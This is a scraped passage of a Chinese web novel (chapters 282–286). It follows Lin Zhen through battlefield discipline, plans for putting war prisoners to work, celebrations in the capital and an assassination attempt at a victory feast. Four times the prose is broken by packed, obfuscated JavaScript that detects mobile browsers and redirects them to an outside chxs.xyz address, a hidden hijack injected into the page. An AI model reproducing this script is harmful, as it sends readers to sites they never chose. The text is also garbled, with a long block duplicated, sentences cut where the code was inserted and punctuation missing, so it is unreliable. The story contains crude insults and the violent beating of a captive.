胖子对林臻的话全然不在意,瞧见一旁的浣碧,眼睛一亮,笑嘻嘻地走上前,微微弯腰行礼,言语间带着几分调侃:“哟,这不是嫂夫人嘛,许久不见,愈发标致动人了,看得胖爷我直眼馋!” 浣碧一听,脸颊瞬间泛起红晕,仿若春日里枝头熟透的苹果。 她微微低头,手指下意识地轻轻绕着衣角,嗔怪道:“胖爷又拿我打趣,小心我告诉世子,让他罚你。” 胖子一听,佯装害怕,往后退了一步,还夸张地拍了拍胸口:“嫂夫人可饶了我吧,我这刚打完仗,浑身是伤,要是再被大哥罚,可就只剩半条命了。” 说着,他撸起袖子,露出几道还渗着血的伤口,那伤口纵横交错,看着确实可怖。 林臻冷哼一声,目光如炬,直直地盯着胖子:“你还知道自己浑身是伤?战场上违抗军令,孤身深入敌军军营,你可知导致了多少将士死伤惨重?你有几条命能担得起这份罪责?” 胖子一听,脸上的嬉笑彻底消失,挺直腰板,神情严肃,低头沉声道:“是,这件事情是胖爷的错。当时我瞧着敌军后方空虚,想着若能直捣黄龙,必能一举扭转战局,却未曾周全考虑,冲动行事,唉,你罚我吧。” 胖子难得把脑袋低下去,林臻审视着他,语气稍缓:“哼,死罪可免活罪难逃!不过在这之前,我听说你遇到个顾家的猛将,差点折在他手里,跟我讲讲,怎么回事?” 要说吹牛逼,胖子顿时来了精神,端起桌上的茶杯,猛灌一口润润喉。 “大哥,你是不知道,那顾家猛将朱世坤,长得跟黑铁塔似的,也善使长刀,前天夜里嗷嗷叫着就朝我扑来。我跟他大战了几十回合,每一刀下去,都似砍在铁板上,震得我虎口发麻,那家伙力气贼大,我一刀砍过去,他拿刀柄一挡,差点把我刀都震飞了。” 说着说着,他还夸张地甩了甩手腕,模拟当时的场景,随即话锋一转。 “不过你胖爷是谁啊,能被他吓住?我灵机一动,卖了个破绽,他果然上当,高举斧子就劈。我瞅准时机,一个侧身翻滚,绕到他身后,‘咔嚓’一刀,就把他脑袋给剁了。那血啊,呲得跟喷泉似的,老寄吧壮观了。” 胖子手舞足蹈地比划着,脸上满是得意。 可瞥见林臻越发阴沉的脸色,又立马收敛了几分,看起来憨态可掬。 麻之感顺着指尖直抵心间。 他轻抿一口茶,茶香在舌尖散开,心中的畅快愈发浓郁。 刚要开口夸赞,就听闻外面的喧闹声。 林臻心中一动,便知是胖子回来了,他嘴角的笑意更深了些。放下手中茶盏,转头望去。 果不其然,胖子正风风火火地闯进来。 “大哥,胖爷回来了!哈哈哈哈!” 胖子扯着嗓子大喊,声音高亢嘹亮,震得院子里休憩的鸟儿都扑腾乱飞,惊惶四散。 林臻阴沉着脸看他,直把胖子看得心里发毛。 “进门之前都不知道通报,大吼大叫的成何体统!” 胖子被这看似责骂的言语弄得一怔,脚步顿住,挠挠头,脸上的得意劲儿瞬间收敛了几分,嘿嘿笑道:“嘿嘿嘿,大哥,我这不是心急嘛,有一肚子话想跟您说,一时就给忘了。” 说着,胖子把袁华的脑袋往地上一扔,拍拍手,似是想以此邀功,缓解气氛:“大哥,您瞧瞧,北燕副将袁华!被我亲手斩了,怎么样?牛逼不牛逼!?” 林臻瞥了一眼那脑袋,眼神中透着满意:“干得不错,但你也别以为立了这点功,就能将之前的过错一笔勾销。功过相抵在我这是不可能的!” 胖子对林臻的话全然不在意,瞧见一旁的浣碧,眼睛一亮,笑嘻嘻地走上前,微微弯腰行礼,言语间带着几分调侃:“哟,这不是嫂夫人嘛,许久不见,愈发标致动人了,看得胖爷我直眼馋!” 浣碧一听,脸颊瞬间泛起红晕,仿若春日里枝头熟透的苹果。 她微微低头,手指下意识地轻轻绕着衣角,嗔怪道:“胖爷又拿我打趣,小心我告诉世子,让他罚你。” 胖子一听,佯装害怕,往后退了一步,还夸张地拍了拍胸口:“嫂夫人可饶了我吧,我这刚打完仗,浑身是伤,要是再被大哥罚,可就只剩半条命了。” 说着,他撸起袖子,露出几道还渗着血的伤口,那伤口纵横交错,看着确实可怖。 林臻冷哼一声,目光如炬,直直地盯着胖子:“你还知道自己浑身是伤?战场上违抗军令,孤身深入敌军军营,你可知导致了多少将士死伤惨重?你有几条命能担得起这份罪责?” 胖子一听,脸上的嬉笑彻底消失,挺直腰板,神情严肃,低头沉声道:“是,这件事情是胖爷的错。当时我瞧着敌军后方空虚,想着若能直捣黄龙,必能一举扭转战局,却未曾周全考虑,冲动行事,唉,你罚我吧。” 胖子难得把脑袋低下去,林臻审视着他,语气稍缓:“哼,死罪可免活罪难逃!不过在这之前,我听说你遇到个顾家的猛将,差点折在他手里,跟我讲讲,怎么回事?” 要说吹牛逼,胖子顿时来了精神,端起桌上的茶杯,猛灌一口润润喉。 “大哥,你是不知道,那顾家猛将朱世坤,长得跟黑铁塔似的,也善使长刀,前天夜里嗷嗷叫着就朝我扑来。我跟他大战了几十回合,每一刀下去,都似砍在铁板上,震得我虎口发麻,那家伙力气贼大,我一刀砍过去,他拿刀柄一挡,差点把我刀都震飞了。” 说着说着,他还夸张地甩了甩手腕,模拟当时的场景,随即话锋一转。 “不过你胖爷是谁啊,能被他吓住?我灵机一动,卖了个破绽,他果然上当,高举斧子就劈。我瞅准时机,一个侧身翻滚,绕到他身后,‘咔嚓’一刀,就把他脑袋给剁了。那血啊,呲得跟喷泉似的,老寄吧壮观了。” 胖子手舞足蹈地比划着,脸上满是得意。 可瞥见林臻越发阴沉的脸色,又立马收敛了几分,看起来憨态可掬。 第282章 鱼能吃了,孩子都饿死了, 林臻黑着脸听胖子眉飞色舞地讲完战场上的事儿那脸沉得就跟暴风雨要来似的。 过了老半天他才张嘴声音冷得能冻死人:“胖子你可别觉着自己多牛逼战场上是你能瞎闹的地儿吗?你的一举一动可都牵着兄弟们的命呢!我告诉你这回你想蒙混过关门都没有!” 胖子一听脸上瞬间没了神采那股子得意劲儿烟云消散。 想开口辩解几句可抬眼瞥见林臻冷峻的面容到嘴边的话又生生咽了回去愣在原地像个不知所措的孩子。 浣碧身姿婀娜静立一旁手中捧着一盏茶袅袅热气升腾而起宛如柔美的云霭。 见林臻神色不悦她莲步轻移仿若风拂弱柳悄无声息地将茶盏放在林臻身侧桌案随后便垂首退至一隅仪态温婉地静立着。 林臻瞧了一眼浣碧神色缓和了些叹口气冲胖子一摆手:“行了行了装这副委屈巴巴的样子给谁看啊?先下去包扎伤口好好反省反省等回头我想好咋收拾你了再喊你。” 胖子如蒙大赦忙不迭点头应道:“是大哥。” 言罢灰溜溜地快步退下临至门口还怯生生地偷瞧一眼林臻。见他脸色依旧阴沉吓得脖子一缩脚下步伐愈发急促匆匆离去。 胖子刚走侯春便入院子通报:“大帅许七安求见。” 林臻点点头随口说道:“让他进来。” 不一会儿许七安稳步迈入院子他身着一袭青色官袍身形清瘦然双目炯炯透着一股子机灵劲儿。 见到林臻毕恭毕敬地行礼:“下官参见世子。” 林臻抬手示意免礼径直问道:“什么事儿?直说吧。” 许七安上前一步神色略显焦急拱手言道:“大帅下官前来实是有要事禀报。刚刚下官亲赴城外查看俘虏发现其中许多人身负重伤部分创口惨不忍睹如果放任不管恐怕会发生瘟疫。” 林臻皱了皱眉。 这确实是个棘手的问题如果处理不当爆发瘟疫以这个时代的医学水平恐怕会死很多人。 他问道:“那依你之见呢?” “下官刚刚已经责令县衙医官全力清点现有药材但是库房里只有金疮药、止血散之类常用伤药应付些许轻症尚可可面对如此众多且伤势各异的伤兵实在是捉襟见肘。所以下官才来请世子的命令您看是不是应该派人去周边县镇采购些药材?即便贵些也能解燃眉之急。” “可以 办。”林臻点头同意,又补充道:“但是光采购药材还不够,你去城中广贴告示,招募那些经验丰富、医术精湛的郎中,许以重金,让他们立刻想办法救治伤员,另外再找一个宽敞通风的地方,将伤兵集中安置,妥善照顾,防止瘟疫发生。” “是!下官这就去办!”许七安转身要走,林臻却把他叫住。 “等等!这近十万的俘虏你打算怎么安置?总不能让他们白吃干饭吧?” 许七安挺了挺胸膛,应道:“下官已经吩咐下去,让那些没有受伤的俘虏服徭役,为期三年,也算将功赎罪。” 林臻挑了挑眉,来了兴致:“具体干什么?我警告你啊,他们可都是杀过人的士兵,万一处理不当引起哗变,我要你的脑袋!” 许七安自信地笑了笑,显然是对压抑多年的才华终于得以施展的欣喜。 “世子放心,就算让他们服徭役也不会太过分。下官见代县周遭道路年久失修,每逢雨季便泥泞不堪,所以便先安排俘虏们去修路搭桥了,此举既能便利民众出行,又可以他们施展力气,不至于憋着。再者,代县的城墙虽然高大,但也需要修缮加固;还有城中还有诸多废弃屋舍,总之只要想干,就有的是活干,绝不会让他们闲下来惹是生非的。” 林臻一边听,一边轻轻点头,心里越发觉得许七安这主意靠谱。 自己看人真准~~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986576|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~ 说到这,许七安明显有些顿了顿,目光期待地看向林臻,说道:“世子,虽说有了让俘虏干活的法子,可这十万人的粮草可不是小数目,您看有没有解决办法?” 这也是林臻头疼的问题。 粮食、粮食、粮食,到哪都缺粮食。 大乾就这么缺粮食吗?每年那么多种地的人,这两年又连连大熟,怎么还缺粮食呢? 粮食都去哪了? 林臻手指敲击着桌面,沉声道:“你有什么办法吗?” 许七安犹豫了一下,回答道:“下官确实有个不成熟的想法。咱们代县有几条河川贯穿而过,水源充沛,以前百姓虽有养鱼的人家,但都没有形成规模。如今不妨让俘虏出力,在河岸边上开辟鱼塘,养殖鱼虾。如此,三五个月内倒也能勉强糊口。” 三五个月等鱼能吃了,孩子都饿死了。 林臻放个白眼,“这是个办法,但没办法解决燃眉之急。这样吧,你派人寻访县里那些经验老道的渔夫,让他来帮忙教士兵养鱼,养成之后以后所有收成归公,然后再统一分配,不得克扣。另外,再派一队士兵,让他们带着俘虏进山打猎。他们人多,每天打的猎物,估计也够对付一阵儿。 剩下的俘虏,就按你说的去修路,一直修到太行山。等路修通了,就算他们有功,到时候给他们重新分地,放他们自由,让他们有个盼头,干起活来也更带劲。总之就是一个原则,绝不能让他们闲着!这是群不安分的家伙,只要闲着肯定出事!” 许七安眼睛瞪大,面露惊喜之色,连忙拱手道:“大帅这主意太妙了!既化解了粮食难题,又为俘虏们指明一条路,他们还有什么理由不拼死效力!?” 林臻微微点头,摆了摆手:“行了行了,别在这尬吹,赶紧去办事儿,有啥新情况,随时来报。” “是,大帅!”许七安行礼后,告辞离去。 第283章 是该尽早结束这乱世了啊。 翌日。 晨曦初露淡薄的日光仿若一层轻纱轻柔地洒落在代县的每一寸土地上 林臻站在窗前微微侧身目光落向一旁静立如兰的浣碧轻声说道:“碧儿随我出去走走。” 浣碧闻声颔首应诺莲步轻移之间取来一件墨色披风。 她身姿婀娜举手投足间尽显温婉双手轻柔地为林臻披上披风静静地跟在林臻身后二人一同迈出了府衙那扇略显厚重的大门。 刚至街道热闹喧嚣之气便如汹涌的潮水般扑面而来。 与想象中因战争而萧条破败、民生凋敝的凄惨景象截然不同代县城内并未遭受兵灾的肆虐百姓们的生活依旧按部就班地继续却又因城外这场酣畅淋漓的大胜仗而添了几分别样的激昂与振奋。 街边百姓三两成群或驻足交谈或往来忙碌他们的目光不时地投向街头巷尾巡逻的士兵那一双双眼睛里满是崇敬与自豪。 “世子这一仗打得太漂亮了几千骑兵就要大破十万敌军有勇有谋!”一位书生模样的人身着一袭青衫手中轻摇着一把绘有墨竹的扇子面上带着几分陶醉与敬仰之色赞叹之声清脆响亮引得周围人纷纷侧目。 “是呀有世子在往后的日子有盼头咯。”卖菜大妈笑意盈盈地接话手上还晃着秤杆秤砣与秤盘碰撞发出“叮当”的声响。 “可不是嘛!要不是世子咱哪有这安稳生活?今天鹿肉特价!!就当是为世子谋福了!”年轻力壮的猎户身材魁梧满脸黝黑透着一股质朴与坚毅。 “唉要是世子能当我们这的大总管啥灾咱都不怕。”拄拐的老伯站在人群边缘虽身形佝偻步伐蹒跚但目光却坚定如炬话语铿锵掷地有声。 众人你一言我一语皆是对林臻的赞美之词。 正说着人群中不知谁眼尖率先瞧见了稳步走来的林臻大喊一声:“大帅来了!” 刹那间百姓们像是被磁石吸引一般纷纷放下手中的活计快步围拢过来。 “大帅您可算出来了!” “咱全靠您护着这场仗打赢了往后的日子才有奔头您就是咱的大恩人呐!” “是啊大帅!我这把老骨头见过不少当官的可没一个像您这般为百姓着想。这份恩情咱代县百姓世代代都忘不了!” 林臻被百姓们围在中间神色依旧平静只是眼中多了几分动容。 他微微抬手,示意大家安静,声音温和地说道:“父老乡亲们,大家受苦了!此战能胜,靠的不是我林臻,而是大家的齐心协力,是将士们的浴血拼杀!我林臻只不过是做了该做的而已。” 百姓们听着林臻的话,纷纷点头,眼中充满了信任与拥护,又叽叽喳喳地夸赞起来。 林臻与大家寒暄几句,这才在侯春等人的护卫下,勉强挤出人群,向着城门口走去。 本来心情还不错的林臻,走到城门口时却如同遭了一记重拳,狠狠地砸在他的心坎上。 只见近十万俘虏如潮水般汇聚,或蹲或站,密密麻麻地铺满一地。 他们衣衫褴褛,那破碎的衣角在微风中瑟瑟发抖,似是在哭诉着战争的无情;蓬头垢面,污垢与血迹凝结在发丝间,散发着令人作呕的气息。 往昔在战场上还残留的凶狠气焰,如今已经在战败的绝望与生存的困境中消散殆尽,如今只剩下满眼的迷茫与无助。 林臻的目光缓缓扫过众人,其中有个年轻后生,身形瘦弱,铠甲穿在他身上直晃荡,好像一阵风便能将他吹倒。 他眼神中透着惶恐与哀求,见林臻走近,扑通一声跪在地上:“世子,小的本是普通农户,被强征入伍,实在不是自愿当反贼的,我也没有杀过袍泽弟兄,求世子开恩,放小的一条生路,小的日后定当结草衔环报答您的大恩!” 那声音带着哭腔,颤抖着在空气中回荡,恰似一道利箭,直直刺入林臻心底,百般滋味涌上心头。 他虽未曾率领将士冲杀敌阵,可这些日子以来,目睹着战争带来的满目疮痍,听着百姓与俘虏的声声哭诉,他心里愈发不是滋味,更深知这乱世的残酷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986577|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是该尽早结束这乱世了啊。 否则百姓每一天好日子过。 林臻突然有些怀念后世那个和平、安全,人人都可以欢声笑语的国家了。 林臻弯腰,将那少年扶起,说道:“不急,先吃饭。” “世子.” 那少年没想到像林臻这样身份的人居然会亲自扶他起来,一时间感动得稀里哗啦,恨不得拜倒在林臻的长袍之下。 林臻对着所有人高声喊道:“弟兄们!!” 十万人鸦雀无声,生怕漏过林臻说的每一个字。 “我知道你们之中有很多人不愿意跟着顾云松造反,也知道你们不愿意被强征入伍。但事实已经发生,我们没办法改变。如果不惩罚,即便是我林臻,也没办法和陛下交代,更没办法和死去的弟兄交代!所以,我希望你们心甘情愿地接受惩罚。但是你们放心,惩罚也不会太严厉! 我已经决定,从代县开始往西修一条大路,一直修到你们老家太行山!什么时候路修通了,你们就可以恢复自由身了!我会建议陛下重新委派太行山道大总管,届时会给你们分田地,分牲口,如果愿意当兵的就继续当兵,不愿意的就回家种地,承欢父母膝下。 在这期间,我会负责你们的衣食住行,吃喝拉撒,但是有一点!” 林臻顿了顿,伸出一根手指头:“任何人不许给我找事!如果发现一人逃跑,或者有一个人破坏团结,破坏我们这个大家庭的!所有人都要延期一年回家!一个延一年,十个延十年!” 言罢刚刚的少年郎立刻大喊。 “谁TM要是敢给世子找事,别怪老子不客气!” “就是,都敢当逃兵,先问问我手里的宝剑答不答应!” “要是耽误了我回家的行程,看我不弄死你们这群逼养的!” “好!”林臻制止了大家骂来骂去的场面,“等下会有人给你们送东西吃,大家要记住,服从县衙的安排,争取早日回家!” “是!” 第284章 不愧是朕的......好林臻! 京城的街头,阳光洒在青石板路上,行人穿梭,商贩吆喝,一片热闹景象。 突然,一阵急促的马蹄声如炸雷般响起,恰如林臻那晚酒醉唱的那首歌。 “炸雷啊炸雷!改革开放抡大锤!炸雷啊炸雷 咳咳。 只见一名脑袋插着红色羽毛的传令兵,满面兴奋,风驰电掣般冲进京城。 “代县大捷!世子林臻率五千铁骑大破十万敌军! “代县大捷! 传令兵声音高亢嘹亮,瞬间吸引了众人的目光。 百姓们听闻,先是一愣,随即爆发出一阵欢呼。 “什么?又打赢了!?这可是天大好事啊! “五千对十万还能打赢,世子可真是神仙下凡呐! “世子此战必成传奇,千古流芳啊!哈哈哈哈! “又能安心过日子喽! 大人们欢喜鼓舞,孩子们也跟着欢呼雀跃,奔走相告。 一时间,整个京城的大街小巷都沉浸在胜利的喜悦中。 传令兵马不停蹄地朝着金銮殿奔去,一路继续呼喊着喜讯,那声音随着风传遍四方。 此时金銮殿内。 慕容嫣端坐在龙椅上,身着一袭明黄色绣金长袍,头戴龙冠,珠翠摇曳,举手投足间尽显雍容华贵。下面群臣分站两旁,目不斜视,盯着一袭紫色官袍,上面绣着精致云纹的宋正林。 “陛下,如今武清县开发区正建设得如火如荼。该地依傍运河,交通便利,臣等按照世子的规划,第一批水泥厂、砖厂已经建造完成,南楚俘虏以及邪教余孽也已经全部进入开发区。 “好! “回陛下,这正是臣想说的,世子已经决定自掏腰包来建设开发区,促进生产,但是世子说,利润他要抽五成。 慕容嫣满不在乎地摆摆手:“五成就五成,区区一个工坊能有几两银子?亏他林臻还算计这点小账。 “我 小账? 宋正林都懵了。 如果这个开发区按照林臻的计划建造起来,那绝对是大乾的摇钱树啊!这哪是小账啊我的陛下! 心里这么想,脸上却不露声色。 既然陛下不知道,那就是林臻不想让他知道,自己还是别没事找事了。 慕容嫣现在一副地主老财的做派。 打仗有林震仙高歌猛进,发展有林臻全权负责,大乾一派欣欣向荣。 放眼几位先帝,也没有她这般惬意。 忽然,殿外传来的高喊声。 慕容嫣眼神中闪过一丝愠怒,轻启朱唇:“何人在外喧哗?” 话音刚落,传令兵已一路奔至殿内,跪地高呼:“陛下,代县大捷!世子林臻率五千铁骑大破十万敌军,我军大获全胜!” “什么!?五千对十万!?”慕容嫣震惊得无以复加,猛地站起身。 这一声高呼,如同一记洪钟,在空旷的大殿内久久回荡,群臣百官先是一愣,随即纷纷反应过来,刹那间,赞美之声如汹涌的浪潮,此起彼伏。 慕容嫣再也顾不上帝王的矜持,大声喝彩:“好!不愧是王府世子,不愧是朕的好林臻!” 她险些失口喊出夫君来,幸好硬生生咽了回去。 “咳咳,传朕旨意,待世子班师回朝,朕还要于京城外设二十里红妆相迎,犒赏三军!” 群臣听闻,忙高呼:“陛下圣明!” 声音震得殿梁都嗡嗡作响。 而此时,远在代县的林臻正站在城楼上,望着城内一片繁忙景象,心却并无多少轻松之感。 他知道,这场胜利只是暂时的,乱世的硝烟尚未彻底散尽,还有无数的难题等着他去攻克。 但想到即将回到京城见到心爱的妻妾们,又隐隐有些期待。 他转身,看向身旁同样一脸凝重的许七安,从怀里掏出一大摞图纸,“哗啦”一声在手中展开,纸张翻动的声响在风中格外清晰。 这些图纸画得密密麻麻,却又条理分明,上面标着砖厂、水泥厂、冶铁厂等等各类工坊的设计样式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986578|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林臻拍了拍图纸,扬起的灰尘在阳光下飞舞。 “老许,等他们修完路,你就在代县附近找个平坦,靠近水源的地方,修建个开发区。把这些工坊盖起来,然后招募他们来干活。” “工坊?” “对,这些人不可能都去种地,也不可能都去参军,总有些剩下的。秉着不浪费的原则就让他们进厂干活吧。” 许七安接过图纸,发现都是些自己看不懂的图案:“世子,这到底都是什么工坊?” “这是水泥厂。水泥比黄泥更结实耐用,修桥铺路,那是必备;这是冶铁厂,打造兵器、农具,哪样离得开铁?还有砖厂,作坊等等,以后我会考虑再加一个玻璃厂,到时候再说。” 许七安眼睛瞪得老大,面对图纸仔细端详,边看边点头。 “我大概明白了,只是这么多项目,要建起来可得费不少功夫,工匠、原料、场地,样样都得操心。” “所以我会举荐你当太行山道大总管么?”林臻意味深长的看着许七安。 后者好像明白过来什么,后退两步对林臻深深鞠上一躬,扭头走了。 林臻双手抱在胸前,目光坚定地望向远方,那是太行山的方向,嘴里喃喃道。 “北燕啊北燕,等王爷回来,就是你们灭国的时候。” 北燕的仇恨林臻是不会忘记的,虽然他们并没有对大乾造成实际影响。 但是他们助纣为虐,帮助顾云松反叛,甚至还暗中派兵联合顾云松一直进攻大乾。这些都是血淋淋的事实,这笔账,林臻早晚都要清算。 只不过,他现在需要去武清,先把开发区搞起来。 经济上来了,打仗也就彻底不怕了。否则就会出现此刻的状况,对开辟第二战场畏首畏尾。 如果林震仙没有带兵去南楚,林臻肯定不会走,他会收编这些俘虏。然后带上军队去北燕,找他们皇帝问个清楚。 “是时候该回家喽!”林臻双手高高举起,舒爽地伸了个懒腰,随后拥住浣碧,走下城楼。 第285章 林臻再遇刺 代县的天空被夕阳染成了橙红色余晖洒在城墙上仿佛给这座历经战火的小城披上了一层金色的战甲。 林臻站在城楼下望着忙碌了一天渐渐安静下来的街巷心中盘算已定转头对身旁的许七安说道:“明日我便要启程返回京城了今天开个庆功宴把好酒好菜都拿出来犒赏三军!” “是世子!”许七安点头称是随后快步离开不安排事宜。 不多时城中的校场已然变了模样。 巨大的篝火熊熊燃起火舌舔舐着夜空驱散了夜晚的凉意。 四周摆满了长条木桌桌上堆满了美酒佳肴烤得滋滋冒油的全羊散发着诱人的香气大盘的鹿肉、鲜嫩的果蔬还有代县酒商送来的美酒应有尽有。 士兵们整齐划一纷纷入座 此时校场入口处传来一阵清脆悦耳的笑声。 众人循声望去只见一群青楼女子袅袅婷婷地鱼贯而入。 她们身着五彩斑斓的薄纱裙偶尔露出白花花的香肩与美腿或粉嫩如桃或娇艳似火或清新如荷裙摆随风轻拂粗略数来不下百人。 这些女子中可没有孬货都是代县八大青楼里的上等小姐她们面容姣好妆容精致眉似春山目含秋水唇若樱桃举手投足间尽是风情万种。 这群行伍里的老油条已经禁欲很久了突然看到这么多的姑娘进来眼珠子都直了! “啥?还有这福利呢?” “老子多长时间都没尝过荤腥了!爽!” “这肯定是世子掏的钱那个穷逼县令可没有这么财大气粗!” “世子牛逼!世子万岁!” 为首的一位青楼女子身姿婀娜莲步轻移手中轻摇着一把绘有牡丹的团扇扇面上的花儿仿若要随着她的动作鲜活起来。 只见她朱唇轻启笑声如珠落玉盘:“各位军爷姐妹们自发来给军爷们助兴啦!感谢军爷们浴血奋战保护我们平安!嘻嘻嘻!” 那声音婉转柔媚瞬间让校场的气氛更加热烈。 后面的女子们也纷纷娇笑着相互打趣你推我搡地走进来。 有的眼波流转朝着士兵们抛去一个个媚眼;有的轻轻掩面却又从指缝间偷瞧那娇羞之态惹得士兵们心痒痒。 她们穿梭在桌间为将士们斟酒布菜一时间校场里的欢笑声愈发响亮仿佛要将这夜空都震破。 林臻身着一袭藏蓝色 锦袍,领口与袖口镶着精致的金边,腰束玉带,愈发显得身姿挺拔、气宇轩昂,在侯春等护卫的簇拥下,大步走进校场。 士兵们见了,纷纷起身,声音响彻云霄。 “参见世子!! 在场没有一人不对林臻肃然起敬。 五千破十万,这可是千古流芳的壮举,更是足够吹几辈子的大胜! 林臻微笑着抬手示意大家坐下,而后走向主桌,那里王铁男、胖子、许七安等几位亲信将领赫然在列。 尤其是胖子,这厮今日穿得格外喜庆。 一身红绸衣衫,肚子微微隆起,三折叠的下巴乱颤,大肥脸上堆满了笑容,活像一尊喜庆的弥勒佛。 见林臻走来,他赶忙起身,拉着林臻的胳膊,大着舌头嚷道:“大哥,你可算来了!今日这场庆功宴,兄弟们可都盼了好久啦!哈哈哈哈哈! 说罢,拉着林臻一同坐下。 两人寒暄嬉笑几句,酒宴正式开始。 林臻率先举起酒盏,站在凳子上,让每一个人都能看到他,大吼道。 “兄弟们!我林臻身为前线主帅,今日能站在此处与诸位共享这份胜利的喜悦,我林臻深感荣幸。这份荣耀,并非我一人之功,而是属于在座的每一位兄弟!来,满饮此杯! “敬世子!! 校场上万人齐齐举杯,一饮而尽。 后来林臻又像领导似的讲了几句,便招呼大家开饭。 酒过三巡之后,众人的兴致愈发高涨。 胖子一手搂着身旁娇俏的青楼女子,一手举着酒碗,摇摇晃晃地站起身来,脚步踉跄地走到场地中央。 那青楼女子身着一袭粉色薄纱裙,面容娇艳,眼神流转间尽是风情,胖子搂着她,随着欢快的鼓乐声开始扭动身躯,就好像一条成了精的肥蛆,有好像脱光了要跳舞的老母猪,引得周围一阵哄笑。 “笑鸡毛啊笑!?胖子边跳边喊,脸上带着几分醉意的红晕,“敢笑你胖爷,找死呢!? “哈哈哈哈哈! 将士们依旧大笑,丝毫不管胖子要吃人的表情。 林臻坐在主位上,看着胖子这副模样,眼中满是笑意与宠溺。 没错,就是宠溺。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991894|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他与胖子是发小,两人交情最深。 深知此人虽然平日里看着大大咧咧、没个正形,可关键时刻却从未掉过链子,是个能托付生死的好兄弟。 此时,在校场边缘,一个看似普通的丫鬟正端着一盘酒水,俏生生的向着 主桌走来。 林臻不是很在乎地看了一眼,只觉得这姑娘长得好生标致,身着一袭素色布裙,头上挽着简单的发髻,面容清秀。 但不知为何,林臻却觉得眉眼间却透着一股冷冽之气。 “大哥,来来来,你我兄弟再干一杯!干完这杯,胖爷可要去办点正事了啊!嘿嘿嘿嘿~”胖子的话打断了林臻的思绪。 他也没多想,可能是自己酒意上涌,看错了吧。 于是两人再次撞杯。 然而就在此时,正赶着那丫鬟走到主桌旁放下酒水,她突然眼神一凛,手中暗藏的匕首瞬间滑入掌心,寒光一闪,直刺林臻咽喉。 胖子喝得快,放下酒碗的瞬间就看到这一幕! “大哥小心!”他瞪大眼睛,毫不犹豫地合身扑向林臻,将他护在身后。 就在这电光火石之间,刺客的匕首狠狠刺进了胖子的肩胛,鲜血瞬间染红了他的衣衫。 “胖子!!!” 林臻反应过来,睚眦欲裂,怒吼出声,一把扶住胖子。 “世子!!” “有刺客,保护世子!!” 那刺客一击未中,见势不妙,转身欲逃。 而此时,一直在一旁缓慢喝酒的王铁男瞬间从武器架上取来弓箭,稍微瞄准,一箭射出。 利箭呼啸而去,精准地射中了刺客的腿部。 噗—— “啊!!” 一声娇喝,刺客摔倒在地。 而周围的士兵一拥而上,瞬间将刺客制住。 林臻此刻心急如焚,根本没去管刺客,抱着受伤的胖子大声喊道:“快,快传军医!” “传鸡毛军医!不用!!”胖子龇牙咧嘴的一把将林臻推开,恼怒地站起来,“敢刺杀我大哥,找死!!” 林臻关切地问道:“胖子,你没事吧?” “我没事,他有事!!!” 言罢胖子表情狰狞地朝那女刺客走去。 第286章 你这死胖子净找借口 校场之上,庆功宴的喧嚣因这突如其来的行刺戛然而止。 胖子怒目圆睁,额头上青筋暴起,肩胛处流出的鲜血浸透衣衫,将他红色的锦袍渲染出诡异恐怖的黑色。 他来到女刺客面前,一把揪住她的头发,将她娇小的身躯硬生生提离地面。 “啊!!”女刺客厮打胖子的手,双脚悬空,疼得大叫。 就在此时,林臻的目光如遭雷击,死死地定格在女刺客脸上。 “果然是她。” 没错,来者就是天道十二仙之一,也是将林臻掳走的女杀手——静澜仙子。 胖子喷了静澜仙子一脸的唾沫星子:“你是谁?为什么刺杀我大哥?” “哼!”晶蓝仙子冷哼一声,却紧咬下唇,硬是一个字也不吐露,只是用那双冷冽的眼眸直直地盯着胖子,充满挑衅。 胖子的性格哪里受得了这种挑衅?只见他松开静澜仙子的瞬间,抬起沙包大的拳头,狠狠砸向女刺客的肋骨。 “我草***!” 咔嚓一声脆响。 “啊!!”静澜仙子的惨叫尖锐而凄厉,划破夜空,紧接着身体猛地弓起,像一只大虾米。 可即便如此,她的眼神依旧透着决绝。 